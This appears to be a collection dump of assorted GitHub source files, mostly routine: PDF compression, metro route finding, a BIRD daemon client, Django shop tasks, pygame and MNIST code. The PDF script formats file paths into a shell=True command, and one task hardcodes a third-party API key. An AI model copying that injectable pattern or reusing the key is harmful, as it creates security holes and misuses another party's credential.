os.path.splitext(inpath)\r\n outpath = \"{:}.{:}{:}\".format(a, compression, b)\r\n\r\n # Validate output file does not exist.\r\n if os.path.exists(outpath):\r\n if os.path.isdir(outpath):\r\n print(\"Error: output {:} is a directory\".format(outpath))\r\n return False\r\n elif os.path.isfile(outpath) and not force:\r\n print(\"Error: output {:} already exists\".format(outpath))\r\n return False\r\n\r\n # Log to user\r\n print(\"Compressing {:} to {:}. compression={:}...\".format(inpath, outpath, compression))\r\n\r\n # Run command\r\n command_str = 'gswin64 -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=\"/{:}\" -dNOPAUSE -dQUIET -dBATCH -sOutputFile=\"{:}\" \"{:}\"'.format(\r\n compression, outpath, inpath)\r\n\r\n try:\r\n t0 = time.time()\r\n result = subprocess.call(command_str, shell=True)\r\n t1 = time.time()\r\n except Exception as e:\r\n print(e)\r\n return False\r\n\r\n time_elapsed = t1 - t0\r\n size_in = os.path.getsize(inpath)\r\n size_out = os.path.getsize(outpath)\r\n compression_ratio = size_in / size_out\r\n\r\n time_elapsed_str = \"{:.3f}s\".format(time_elapsed)\r\n size_in_str = human_bytes(size_in)\r\n size_out_str = human_bytes(size_out)\r\n compression_ratio_str = \"{:.3f}x\".format(compression_ratio)\r\n\r\n # Log completion.\r\n print(\r\n \"> Completed in {:}, {:} to {:} ({:})\".format(\r\n time_elapsed_str,\r\n size_in_str,\r\n size_out_str,\r\n compression_ratio_str\r\n )\r\n )\r\n return True\r\n\r\n\r\ndef main():\r\n args = process_args()\r\n\r\n compress(args.input, args.output, args.compression, args.force)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"cryptopulgo/hubspot_conection","sub_path":"compressing.py","file_name":"compressing.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30749601607","text":"import metro\n\n\ndef decodeLineNumber(num):\n if(num == 4):\n return [1, 2, 3]\n elif(num == 5):\n return [1, 2]\n elif(num == 6):\n return [2, 3]\n elif(num == 7):\n return [1, 3]\n else:\n return [num]\n\n\ndef lineasMetro(lista):\n\n colores = []\n\n for i in range(0, len(lista)):\n miColor = decodeLineNumber(metro.getLinea(lista[i]))\n if(len(miColor) > 1):\n # Miro a la siguiente estación si existe.\n if(i+1 < len(lista)):\n siguienteColor = decodeLineNumber(metro.getLinea(lista[i+1]))\n coloresGanadores = list(\n filter(lambda x: x in siguienteColor, miColor))\n\n # Si hay mas de un color ganador, miro mi anterior (si lo hay)\n if(i-1 >= 0 and len(coloresGanadores) > 1):\n anteriorColor = decodeLineNumber(metro.getLinea(lista[i-1]))\n coloresEmergencia = list(filter(lambda x: x in anteriorColor, coloresGanadores))\n\n # Si ni con esas salimos de dudas, vemos el siguiente del siguiente\n if(len(coloresEmergencia) > 1):\n if(i+2 < len(lista)):\n superSiguienteColor = decodeLineNumber(metro.getLinea(lista[i+2]))\n coloresSuperMalvados = list(\n filter(lambda x: x in superSiguienteColor, coloresEmergencia))\n # AÑADO COLOR\n colores.append(coloresSuperMalvados[0])\n\n else:\n colores.append(coloresEmergencia[0]) # AÑADO COLOR\n\n elif(len(coloresEmergencia) == 1): # Si nos basta con el anterior me meto aquí\n colores.append(coloresEmergencia[0]) # AÑADO COLOR\n else:\n colores.append(coloresGanadores[0]) # AÑADO COLOR\n\n elif(len(coloresGanadores) > 1): # Si nos basta con el siguiente me meto aquí\n if(i+2 < len(lista)):\n superSiguienteColor = decodeLineNumber(metro.getLinea(lista[i+2]))\n coloresSuperMalvados = list(filter(lambda x: x in superSiguienteColor, coloresGanadores))\n if(len(coloresSuperMalvados) >= 1):\n colores.append(coloresSuperMalvados[0]) # AÑADO COLOR\n else:\n colores.append(coloresGanadores[0]) # AÑADO COLOR\n else:\n colores.append(coloresGanadores[0]) # AÑADO COLOR\n else:\n colores.append(coloresGanadores[0]) # AÑADO COLOR\n else: # si soy la última estación, comparo con el anterior\n anteriorColor = decodeLineNumber(metro.getLinea(lista[i-1]))\n ganador = list(filter(lambda x: x in anteriorColor, miColor))\n # Miro la anterior de la anterior.\n if(len(ganador) > 1 and i-2 >= 0):\n anteriorAnteriorColor = decodeLineNumber(metro.getLinea(lista[i-1]))\n oldColor = list(filter(lambda x: x in anteriorAnteriorColor, ganador))\n colores.append(oldColor[0]) # AÑADO COLOR\n elif(len(ganador) > 1):\n colores.append(ganador[0])\n else: # me basta con el anterior\n colores.append(ganador[0]) # AÑADO COLOR\n\n else: # Solo hay un color, menos mal :)\n colores.append(miColor[0]) # AÑADO COLOR\n\n\n\n # Pasamos por Ochanomizu?\n if(36 in lista):\n for i in range(0, len(lista)):\n if(lista[i] == 36):\n # Miro si Ochanomizu esta en medio de algun camino\n if(i-1 >= 0 and i+1< len(lista)):\n # Miro si la anterior a mi es Tokyo, de ser así se pinta en Rojo.\n if(lista[i-1] == 18):\n# colores[i-1] = 3 # Pinto Tokyo de rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de rojo \n # Miro si la anterior a mi es Shinjuku, de ser así se pinta en Rojo\n elif(lista[i-1] == 5):\n colores[i-1] = 3 # Pinto Shinjuku de rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de rojo \n # Miro si la anterior a mi es Akihabara, de ser así se pinta en Amarillo\n elif(lista[i-1] == 20):\n colores[i] = 2 # Pinto Ochanomizu de Amarillo\n # Lo mismo pero mirando si la siguiente es Tokyo, Shinjuku o Akihabara\n if(lista[i+1] == 18):\n# colores[i+1] = 3 # Pinto Tokyo de rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de rojo \n elif(lista[i+1] == 5):\n# colores[i+1] = 3 # Pinto Shinjuku de rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de rojo \n elif(lista[i+1] == 20):\n colores[i] = 2 # Pinto Ochanomizu de Amarillo\n # Mismo proceso, pero esta vez, como si partiesemos de Ochanomizu\n elif(i == 0 and i+1<len(lista)): \n if(lista[i+1] == 18): # La siguiente es Tokyo\n# colores[i+1] = 3 # Pinto Tokyo de Rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de Rojo \n elif(lista[i+1] == 5): # La siguiente es Shinjuku\n# colores[i+1] = 3 # Pinto Shinjuku de Rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de Rojo \n elif(lista[i+1] == 20): # La siguiente es Akihabara\n colores[i] = 2 # Pinto Ochanomizu de Amarillo\n # Mismo proceso, pero esta vez, la última estación es Ochanomizu\n else:\n if(lista[i-1] == 18): # La anterior es Tokyo\n# colores[i-1] = 3 # Pinto Tokyo de Rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de Rojo \n elif(lista[i-1] == 5): # La anterior es Shinjuku\n colores[i-1] = 1 # Pinto Shinjuku de Rojo ###### COMENTAR/DESCOMENTAR ######\n colores[i] = 3 # Pinto Ochanomizu de Rojo \n elif(lista[i-1] == 20): # La Anterior es Akihabara\n colores[i] = 2 # Pinto Ochanomizu de Amarillo\n\n if(len(lista) == 2): # Caso super especial en el que vamos de Shinjuku a Ochanomizu o alreves\n if(5 in lista and 36 in lista):\n colores = [3, 3]\n\n return colores\n\n\ndef algoritmo(inicio, fin, transbordo):\n initialDistance = metro.getDistanciaRecta(inicio, fin) if inicio != fin else 0\n listaAbierta = {inicio: {\"g\": 0, \"h\": initialDistance, \"f\": initialDistance, \"padre\": -1}}\n listaCerrada = {} # {idNodo: idNodoPadre}\n finalWeight = 0\n\n # f(n) = g(n) + h(n)\n while(fin not in listaCerrada.keys()):\n thisNodeId = sorted(listaAbierta, key=lambda elem: listaAbierta[elem][\"f\"])[0]\n thisNode = listaAbierta[thisNodeId].copy()\n thisNodeLines = set(decodeLineNumber(metro.getLinea(thisNodeId)))\n\n if(thisNodeId == fin):\n finalWeight = thisNode[\"f\"]\n \n listaCerrada[thisNodeId] = thisNode[\"padre\"]\n del listaAbierta[thisNodeId]\n\n vecinos = metro.getDistanciaTren(thisNodeId) # [{idVecino: distanciaAel}, ...]\n\n vecinos = dict(filter(lambda vecino: vecino[0] not in listaCerrada, vecinos.items()))\n if(len(vecinos) == 0):\n continue\n\n for idVecino, distanciVecino in vecinos.items():\n vecinoLines = set(decodeLineNumber(metro.getLinea(idVecino)))\n prevNodeLines = set(decodeLineNumber(metro.getLinea(thisNode[\"padre\"]))) if thisNode[\"padre\"] != -1 else set([1, 2, 3])\n specialCase = thisNode[\"padre\"] in [5, 20] and idVecino in [5, 20] # Caso especial no detectable de otra manera cuando se va por la linea roja\n\n g = thisNode[\"g\"] + distanciVecino + 300 # Cuantas menos paradas, mejor, cada parada añade un delay de 1/3 de trayecto entre estaciones\n\n if(len(thisNodeLines & vecinoLines & prevNodeLines) == 0 or specialCase):\n g += 1250 if not transbordo else 1000000 # Penalización equibalente a 1 parada y cuarto\n\n h = 0 if idVecino == fin else metro.getDistanciaRecta(idVecino, fin)\n f = g + h\n\n if(idVecino not in listaAbierta or listaAbierta[idVecino][\"f\"] > f):\n listaAbierta[idVecino] = {\"g\": g, \"h\": h, \"f\": f, \"padre\": thisNodeId}\n\n pathList = []\n while(fin != -1):\n pathList.append(fin)\n fin = listaCerrada[fin]\n\n result = list(reversed(pathList))\n return result, lineasMetro(result), finalWeight\n\n#def main():\n# res = algoritmo(36, 4, False)\n# res = algoritmo(4, 36, False)\n#main()\n","repo_name":"rubenaguadoc/practica-ia","sub_path":"Backend/src/aEstrella.py","file_name":"aEstrella.py","file_ext":"py","file_size_in_byte":9227,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"37981077550","text":"# -*- coding: gb18030 -*-\n#created by dqh\n# $Id: Exp $\n\n\nfrom Function import Function\nimport BigWorld\nimport csdefine\nimport csstatus\nfrom bwdebug import *\n\nclass FuncCompleteQuestWithItem( Function ):\n\t\"\"\"\n\t完成指定的任务目标后,再给予玩家一个物品\n\t\"\"\"\n\tdef __init__( self, section ):\n\t\t\"\"\"\n\t\t@param param : 由实现类自己解释格式; param1 - param5\n\t\t@type param : pyDataSection\n\t\t\"\"\"\n\t\tFunction.__init__( self, section )\n\t\t\n\t\tself._itemID = section.readInt( \"param1\")\t\t\t# 物品ID\n\t\tself._questID = section.readInt( \"param2\" )\t\t\t# 任务ID\n\t\tself._taskIndex = section.readInt( \"param3\" )\t\t# 任务目标索引\n\n\tdef do( self, player, talkEntity = None ):\n\t\t\"\"\"\n\t\t执行一个功能\n\n\t\t@param player : 玩家\n\t\t@type player : Entity\n\t\t@param talkEntity : 一个扩展的参数\n\t\t@type talkEntity : entity\n\t\t@return : None\n\t\t\"\"\"\n\t\tplayer.endGossip( talkEntity )\n\t\t\n\t\t#添加物品\n\t\titem = player.createDynamicItem( self._itemID )\n\t\tif item is None:\n\t\t\tERROR_MSG( \"Player(%d):Item(%s) is none, quest(%s) can'be done\" % ( player.id, str( self._itemID ), str( self._questID )) )\n\t\t\treturn\n\t\tcheckReult = player.checkItemsPlaceIntoNK_( [item] )\n\t\tif checkReult != csdefine.KITBAG_CAN_HOLD:\n\t\t\tplayer.statusMessage( csstatus.ROLE_QUEST_GET_FU_BI_CANNOT_GET_ITEM )\n\t\t\treturn\n\t\tplayer.addItem( item, reason = csdefine.ADD_ITEM_QUEST )\n\t\t\n\t\tplayer.questTaskIncreaseState( self._questID, self._taskIndex )\n\n\tdef valid( self, player, talkEntity = None ):\n\t\t\"\"\"\n\t\t检查一个功能是否可以使用\n\t\t\n\t\t@param player\t\t: 玩家\n\t\t@type player\t\t: Entity\n\t\t@param talkEntity\t: 一个扩展的参数\n\t\t@type talkEntity\t: entity\n\t\t@return\t\t\t\t: True/False\n\t\t@rtype\t\t\t\t: bool\n\t\t\"\"\"\n\t\tquest = player.getQuest( self._questID )\n\t\treturn quest and quest.query( player ) == csdefine.QUEST_STATE_NOT_FINISH\t#任务存在且没有完成\n\t\t\n","repo_name":"mudsave/csol2_enities_45541","sub_path":"cell/Resource/FuncsModule/FuncCompleteQuestWithItem.py","file_name":"FuncCompleteQuestWithItem.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70329719261","text":"import logging\nimport socket\nfrom .exceptions import *\nfrom .parsers import EasyParser\n\n\nclass bird(object):\n\n def __init__(self, socket_path):\n self.socket_path = socket_path\n self.logger = logging.getLogger(__name__)\n\n self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n self.socket.connect(self.socket_path)\n # Read welcome\n self.socket.recv(1024)\n\n def _send_command(self, command):\n command = command + '\\n'\n try:\n self.socket.send(command.encode())\n except BrokenPipeError:\n self.socket.connect(self.socket_path)\n self.socket.recv(1024)\n self.socket.send(command.encode())\n\n data = str()\n while True:\n data += self.socket.recv(1024).decode()\n if data.splitlines()[-1].startswith(('00', '80', '90')):\n break\n return data\n\n def show_status(self):\n command = 'show status'\n return self.command(command)\n\n def configure_check(self, file=None):\n command = \"configure check\"\n if file:\n command += f' \"{file}\"'\n self.command(command)\n # If the config is wrong an exception would be raised.\n return True\n\n def configure(self, file=None):\n command = \"configure\"\n if file:\n command += f' \"{file}\"'\n\n if self.configure_check(file):\n self.command(command)\n # If reconfiguration fails an exception would be raised.\n return True\n\n def command(self, command):\n \"\"\"\n Use this if you want to send a direct command.\n This will be parsed.\n :param command: str\n :return: obj\n \"\"\"\n data = self._send_command(command)\n return EasyParser(data).parse()\n\n def raw_command(self, command, parse_basic=False):\n \"\"\"\n Use this if you want to send a direct command.\n This basic parsing is optional.\n :param command: str\n :param parse_basic: bool\n :return: obj\n \"\"\"\n data = self._send_command(command)\n\n if parse_basic:\n return EasyParser(data).objects_by_code\n return data\n","repo_name":"TheDJVG/BIRDpy","sub_path":"BIRD/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18620135991","text":"from __future__ import print_function\nimport cmor\nimport numpy\n\n\nvars = {\n 'hfls': [\n 'W.m-2',\n 25.,\n 40.],\n 'tas': [\n 'K',\n 25,\n 268.15],\n 'clt': [\n '%',\n 10000.,\n 0.],\n 'ta': [\n 'K',\n 25,\n 273.15]}\n\n\nnlat = 90\ndlat = 180 / nlat\nnlon = 180\ndlon = 360. / nlon\nnlev = 19\nntimes = 12\n\nlats = numpy.arange(-90 + dlat / 2., 90, dlat)\nblats = numpy.arange(-90, 90 + dlat, dlat)\nlons = numpy.arange(0 + dlon / 2., 360., dlon)\nblons = numpy.arange(0, 360. + dlon, dlon)\n\n\ntvars = ['hfls', 'tas', 'clt', 'ta']\n\ncmor.setup(inpath='Tables', netcdf_file_action=cmor.CMOR_REPLACE)\ncmor.dataset_json(\"Test/CMOR_input_example.json\")\ntable = 'CMIP6_Amon.json'\ncmor.load_table(table)\n\nfor var in tvars:\n ilat = cmor.axis(\n table_entry='latitude',\n coord_vals=lats,\n cell_bounds=blats,\n units='degrees_north')\n ilon = cmor.axis(\n table_entry='longitude',\n coord_vals=lons,\n cell_bounds=blons,\n units='degrees_east')\n itim = cmor.axis(\n table_entry='time', coord_vals=numpy.arange(\n ntimes, dtype=float), cell_bounds=numpy.arange(\n ntimes + 1, dtype=float), units='months since 2000')\n ilev = cmor.axis(table_entry='plev19',\n coord_vals=numpy.array([1000.,\n 925,\n 850,\n 700,\n 600,\n 500,\n 400,\n 300,\n 250,\n 200,\n 150,\n 100,\n 70,\n 50,\n 30,\n 20,\n 10,\n 5,\n 1]),\n units='hPa')\n\n if var != 'ta':\n axes = [itim, ilat, ilon]\n data = numpy.random.random(\n (ntimes, nlat, nlon)) * vars[var][1] + vars[var][2]\n else:\n axes = [itim, ilev, ilat, ilon]\n data = numpy.random.random(\n (ntimes, nlev, nlat, nlon)) * vars[var][1] + vars[var][2]\n\n kw = {}\n if var in ['hfss', 'hfls']:\n kw['positive'] = 'up'\n var = cmor.variable(\n table_entry=var,\n units=vars[var][0],\n axis_ids=axes,\n **kw)\n\n cmor.write(var, data)\n path = cmor.close(var, file_name=True)\n print('Saved in:', path)\n\ncmor.close()\n\n\nprint('hello')\n","repo_name":"PCMDI/cmor","sub_path":"Test/test_python_open_close_cmor_multiple.py","file_name":"test_python_open_close_cmor_multiple.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"69"} +{"seq_id":"13397597900","text":"import logging\nfrom pathlib import Path\n\nimport requests\nfrom django.conf import settings\nfrom django.db.models import F\nfrom django_rq import job\n\nfrom shop.models import Product\nfrom shop.spiders.oma import OmaSpider\nfrom scrapy import signals\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.signalmanager import dispatcher\nfrom scrapy.utils.project import get_project_settings\n\n\nlogger = logging.getLogger(__name__)\n\n\n@job\ndef run_products_update():\n Product.objects.filter(cost=0).update(status=\"FEW\")\n\n\n@job\ndef run_oma_spider():\n def crawler_results(signal, sender, item, response, spider):\n item[\"cost\"] = int(item[\"cost\"].split(\",\")[0])\n if item[\"image\"]:\n response = requests.get(item[\"image\"])\n if response.ok:\n path = Path(item[\"image\"])\n open(settings.MEDIA_ROOT / path.name, \"wb\").write(response.content)\n item[\"image\"] = path.name\n Product.objects.update_or_create(external_id=item[\"external_id\"], defaults=item)\n\n dispatcher.connect(crawler_results, signal=signals.item_scraped)\n\n process = CrawlerProcess(get_project_settings())\n process.crawl(OmaSpider)\n process.start()\n\n\n@job\ndef run_bun_usd():\n url = \"https://free.currconv.com/api/v7/convert?q=USD_BYN,BYN_USD&compact=ultra&apiKey=f6265e996ab6ead1cf1c\"\n response = requests.get(url)\n logger.info(response)\n data = response.json()\n logger.info(data)\n exchange = round(float(data[\"USD_BYN\"]), 2)\n logger.info(exchange)\n Product.objects.all().update(cost_usd=F(\"cost\") / exchange)\n","repo_name":"weibak/django","sub_path":"blog/shop/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74830908060","text":"str = \"Java \\n is a programming \\r language\" \n\nprint(str.splitlines())\n\ns = \"java is\\na programming\\tlanguage\"\nprint(s.splitlines())\n\nstr2 = s.splitlines(True) # returns a list having splitted elements \nprint(str2)\n\na = \" \"\ns = \"this is a popat ganganam style\"\nres = s.split()\nres = a.join(res)\nprint(res)\n","repo_name":"Pseudo-iitian/LearningPython","sub_path":"Strings/25_splitlines.py","file_name":"25_splitlines.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31379344112","text":"from pb_stream import ProtobufWriter, ProtobufReader\nfrom is_msgs.common_pb2 import Pose\nfrom random import random\nimport json\nfrom google.protobuf.json_format import MessageToJson\nfrom time import time\nimport os\n\nwriter = ProtobufWriter('poses')\nposes = []\nfor k in range(10000):\n pose = Pose()\n pose.position.x = random()\n pose.position.y = random()\n pose.position.z = k\n writer.insert(pose)\n poses.append(json.loads(MessageToJson(pose)))\n\nwriter.close()\n\nt0 = time()\nreader = ProtobufReader('poses')\nwhile True:\n pose = reader.next(Pose())\n if not pose:\n break\nt1 = time()\n\nprint('Read time: {:.3f}ms'.format((t1-t0)*1000.0))","repo_name":"felippe-mendonca/pb-stream","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40758464895","text":"__author__ = 'pretymoon'\n\nmeasurements = [(5, 1), (2, 3), (2, 4), (4, 3), (5, 4), (7, 5), (3, 5), (4, 1), (4, 5), (5, 2)]\n\ndef is_smaller(m1, m2):\n if m1[0] < m2[0]:\n if m1[1] < m2[1]:\n return True\n return False\n\n# height = [m[0] for m in measurements]\n# girth = [m[1] for m in measurements]\n\nmeasurements.sort()\nprint(measurements)\n\ngroups = []\n\nfor m in range(len(measurements)-1, -1, -1):\n for g in groups:\n # print(measurements[m], g)\n if is_smaller(measurements[m], g[-1]):\n g.append(measurements[m])\n break\n else:\n new_group = [measurements[m]]\n groups.append(new_group)\n\nprint(\"\\n----- {0} GROUPS -----\".format(len(groups)))\nfor g in groups:\n print(g)\n","repo_name":"MahnazAkbariKasten/Algorithms_And_DataStructur_Challenges","sub_path":"algorithm_course_problems/nesting_matrioshkas/nesting_matrishkas.py","file_name":"nesting_matrishkas.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35078882227","text":"import pygame, sys\nfrom pygame.locals import *\nimport math\n\npSize = 10\nheight = 400\nwidth = 300\n\ndef init():\n pygame.init()\n\n # set up the window\n global DISPLAYSURF\n DISPLAYSURF = pygame.display.set_mode((height, width), 0, 32)\n pygame.display.set_caption('Drawing')\n\n # set up the colors\n global BLACK\n BLACK = (0, 0, 0)\n global WHITE\n WHITE = (255, 255, 255)\n global RED\n RED = (255, 0, 0)\n global GREEN\n GREEN = (0, 255, 0)\n global BLUE\n BLUE = (0, 0, 255)\n\ndef draw(r=0, g=0, b=0, C=[], T=30):\n# print(\"Red: \" + str(r) + \" Green: \" + str(g) + \" Blue: \" + str(b))\n global DISPLAYSURF\n DISPLAYSURF.fill((r*255, g*255, b*255))\n\n length = math.floor(math.sqrt(len(C)))\n startX = math.floor((width-(length*pSize))/2)\n startY = math.floor((height-((len(C)/length)*pSize))/2)\n y=0\n while True:\n x = 0\n while x < length:\n p = C[(y*length)+x]\n px = startX + (x*pSize)\n py = startY + (y*pSize)\n# pygame.draw.rect(DISPLAYSURF, p>=T if (p*(255/T), 0, 0) else (0, p*(255/T), 0), (px, px + pSize, py + pSize))\n pygame.draw.rect(DISPLAYSURF, (((p/T)%1)*255, 0, 255) if p>=T else (0, ((p/T)%1)*255, 0), (px, py, pSize, pSize))\n x+=1\n if (y*length)+x >= len(C):\n paint()\n return\n y+=1\n\ndef test():\n global DISPLAYSURF\n # draw on the surface object\n DISPLAYSURF.fill(WHITE)\n pygame.draw.polygon(DISPLAYSURF, GREEN, ((146, 0), (291, 106), (236, 277), (56, 277), (0, 106)))\n pygame.draw.line(DISPLAYSURF, BLUE, (60, 60), (120, 60), 4)\n pygame.draw.line(DISPLAYSURF, BLUE, (120, 60), (60, 120))\n pygame.draw.line(DISPLAYSURF, BLUE, (60, 120), (120, 120), 4)\n pygame.draw.circle(DISPLAYSURF, BLUE, (300, 50), 20, 0)\n pygame.draw.ellipse(DISPLAYSURF, RED, (300, 200, 40, 80), 1)\n pygame.draw.rect(DISPLAYSURF, RED, (200, 150, 100, 50))\n\n pixObj = pygame.PixelArray(DISPLAYSURF)\n pixObj[380][280] = BLACK\n pixObj[382][282] = BLACK\n pixObj[384][284] = BLACK\n pixObj[386][286] = BLACK\n pixObj[388][288] = BLACK\n del pixObj\n\n # run the game loop\n while True:\n paint()\n\ndef paint():\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n pygame.display.update()\n\nif __name__ == '__main__':\n init()\n test()","repo_name":"C-Bookie/bert-python","sub_path":"screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"24671433627","text":"# 4- Определить, позицию второго вхождения строки в списке либо сообщить, что её нет.\n# Примеры\n# список: [\"qwe\", \"asd\", \"zxc\", \"qwe\", \"ertqwe\"], ищем: \"qwe\", ответ: 3\n# список: [\"йцу\", \"фыв\", \"ячс\", \"цук\", \"йцукен\", \"йцу\"], ищем: \"йцу\", ответ: 5\n# список: [\"йцу\", \"фыв\", \"ячс\", \"цук\", \"йцукен\"], ищем: \"йцу\", ответ: -1\n# список: [\"123\", \"234\", 123, \"567\"], ищем: \"123\", ответ: -1\n# список: [], ищем: \"123\", ответ: -1\n\ndef result():\n input_list = [\"йцу\", \"фыв\", \"ячс\", \"цук\", \"йцукен\", \"йцу\"]\n search_string = \"йцу\"\n print(get_second_match(input_list, search_string))\n\n\ndef get_second_match(list_where_find, obj_to_find):\n if len(list(filter(lambda x: x == obj_to_find, list_where_find))) < 2: \n print('Второго вхождения нет') \n else:\n return list(filter(lambda x: x[1] == obj_to_find, list(enumerate(list_where_find))))[1][0]\n\nresult()","repo_name":"Daniil-Palachev/DzByPhyton","sub_path":"DZ6.4.py","file_name":"DZ6.4.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31926113516","text":"from __future__ import print_function\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.optim.lr_scheduler import StepLR\nimport os\nimport utils\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 32, 3, 1)\n self.conv2 = nn.Conv2d(32, 64, 3, 1)\n self.dropout1 = nn.Dropout(0.25)\n self.dropout2 = nn.Dropout(0.5)\n self.fc1 = nn.Linear(7744, 128)\n self.fc2 = nn.Linear(128, 10)\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.conv2(x)\n x = F.relu(x)\n x = F.max_pool2d(x, 3, 2)\n x = self.dropout1(x)\n x = torch.flatten(x, 1)\n x = self.fc1(x)\n x = F.relu(x)\n x = self.dropout2(x)\n x = self.fc2(x)\n output = F.log_softmax(x, dim=1)\n return output\n\n\ndef train(args, model, device, train_loader, optimizer, epoch):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n data = data.contiguous(memory_format=torch.channels_last)\n if args.use_lazy_mode:\n import habana_frameworks.torch.core as htcore\n htcore.mark_step()\n optimizer.zero_grad()\n output = model(data)\n loss = F.nll_loss(output, target)\n loss.backward()\n if args.use_lazy_mode:\n import habana_frameworks.torch.core as htcore\n htcore.mark_step()\n\n optimizer.step()\n\n if args.use_lazy_mode:\n import habana_frameworks.torch.core as htcore\n htcore.mark_step()\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset)/args.world_size,\n 100. * batch_idx / len(train_loader), loss.item()))\n if args.dry_run:\n break\n\n\ndef test(args, model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n metric_logger = utils.MetricLogger(delimiter=\" \",device=device)\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.nll_loss(output, target, reduction='sum').item() # sum up batch loss\n batch_size = data.shape[0]\n acc, _ = utils.accuracy(output, target, topk=(1, 5))\n metric_logger.meters['acc'].update(acc.item(), n=batch_size)\n\n test_loss /= (len(test_loader.dataset)/args.world_size)\n metric_logger.meters['loss'].update(test_loss)\n metric_logger.synchronize_between_processes()\n\n print('\\nTotal test set: {}, number of workers: {}'.format(len(test_loader.dataset), args.world_size))\n print('* Average Acc {top.global_avg:.3f} Average loss {value.global_avg:.3f}'.format(top=metric_logger.acc, value=metric_logger.loss))\n\n\ndef permute_params(model, to_filters_last, lazy_mode):\n import habana_frameworks.torch.core as htcore\n if htcore.is_enabled_weight_permute_pass() is True:\n return\n with torch.no_grad():\n for name, param in model.named_parameters():\n if(param.ndim == 4):\n if to_filters_last:\n param.data = param.data.permute((2, 3, 1, 0))\n else:\n param.data = param.data.permute((3, 2, 0, 1)) # permute RSCK to KCRS\n if lazy_mode:\n import habana_frameworks.torch.core as htcore\n htcore.mark_step()\n\ndef permute_momentum(optimizer, to_filters_last, lazy_mode):\n # Permute the momentum buffer before using for checkpoint\n import habana_frameworks.torch.core as htcore\n if htcore.is_enabled_weight_permute_pass() is True:\n return\n for group in optimizer.param_groups:\n for p in group['params']:\n param_state = optimizer.state[p]\n if 'momentum_buffer' in param_state:\n buf = param_state['momentum_buffer']\n if(buf.ndim == 4):\n if to_filters_last:\n buf = buf.permute((2,3,1,0))\n else:\n buf = buf.permute((3,2,0,1))\n param_state['momentum_buffer'] = buf\n\n if lazy_mode:\n import habana_frameworks.torch.core as htcore\n htcore.mark_step()\n\ndef main():\n # Training settings\n parser = argparse.ArgumentParser(description='PyTorch MNIST Example')\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=1, metavar='N',\n help='number of epochs to train (default: 1)')\n parser.add_argument('--lr', type=float, default=1.0, metavar='LR',\n help='learning rate (default: 1.0)')\n parser.add_argument('--gamma', type=float, default=0.7, metavar='M',\n help='Learning rate step gamma (default: 0.7)')\n parser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\n parser.add_argument('--dry-run', action='store_true', default=False,\n help='quickly check a single pass')\n parser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--log-interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--save-model', action='store_true', default=False,\n help='For Saving the current Model')\n parser.add_argument('--hpu', action='store_true', default=False,\n help='Use hpu device')\n parser.add_argument('--use_lazy_mode', 